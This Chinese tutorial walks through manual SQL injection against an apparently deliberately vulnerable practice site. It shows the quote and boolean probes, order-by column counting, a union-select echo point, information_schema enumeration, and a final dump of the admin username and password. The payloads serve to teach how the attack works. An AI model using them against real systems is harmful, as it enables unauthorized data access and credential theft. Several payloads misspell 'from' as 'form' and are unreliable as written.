sql手工注入实战

1、通过网页猜测sql语句

 原始页面

先猜测sql语句为

select * from 表名 where id = 参数id

当id=1时后台的语句应为

select * from 表名 where id = 1

2、开始判断是否存在sql注入

2.1、可以先通过加一个引号查看是否页面发生改变

select * from 表名 where id = 1‘

sql手工注入实战_第1张图片

 页面发生了改变,表示语句被后台执行存在sql语句

2.2、也可以通过 加and 1=1 或者 and 1=2 进行判断

因为and 1=1 为真,and 1=2 为假

先测试and 1=1,页面没有发生改变

sql手工注入实战_第2张图片

 再测试and 1=2,发现页面发生改变,证明存在sql注入漏洞

sql手工注入实战_第3张图片

3、判断该表有几个字段

使用 order by对字段进行排序,直到页面显示不正常,由此来判断存在几个字段

先尝试order by5看是否有数据,没有显示数据

sql手工注入实战_第4张图片

 再尝试order by 4,order by 3,直到order by 2才有内容,因此可以判断该表字段数为2

sql手工注入实战_第5张图片

 4、寻找回显点

 如果想通过页面返回信息,必须要知道回显点

可以使用拼接语句进行查找

select * from 表名 where id = 1 and 1=2 union select 1,2;

下图语句输出显示为2,代表回显点在第二个数据

sql手工注入实战_第6张图片

 5、构建语句获取库名,表名,字段

通过4我们知道了回显点为2

5.1、获取库名

构造语句select * from 表名 where id = 1 and 1=2 union select 1,database();获取库名

下图输出,显示库名为maoshe

sql手工注入实战_第7张图片

 

5.2、获取表名

这就需要用到information_schema_tables表

information_schema_tables中记录了:table_schema库名、table_name表名

知道怎么查找就开始进行语句构造,前面知道了库名为maoshe,所以语句为

select * form 表 where id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe';

语句输出为admin,代表库maoshe里面存在名为admin的表

sql手工注入实战_第8张图片

因为受回显点的影响无法看到其他表,可以使用limit,例如limit 0,1/limit 1,1/limit 2,1等等向下查找数据,直到不显示为止,就不一一显示了,可以自己尝试

select * form 表 where id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 1,1;

sql手工注入实战_第9张图片

也可以使用group_concat()函数一次性显示

select * form 表 where id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe';

sql手工注入实战_第10张图片

5.3、获取字段

我们就以admin那个表为例获取字段

这里我们要用到information_schema.columns表,其中table_name为表名,column_name为列名

select * form 表 where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin';

sql手工注入实战_第11张图片

结合以上查出了库名maoshe里面存在着admin的表,表里面存在id,username,password三个字段 

5.4、查找最重要的账号密码内容

查找用户名username

select * form 表 where id=1 and 1=2 union select 1,username from admin;

sql手工注入实战_第12张图片

 查找密码password

select * form 表 where id=1 and 1=2 union select 1,password from admin;

sql手工注入实战_第13张图片

 所以后台账号密码为:admin/hellohack

至此手工注入完成

你可能感兴趣的:(sql,数据库)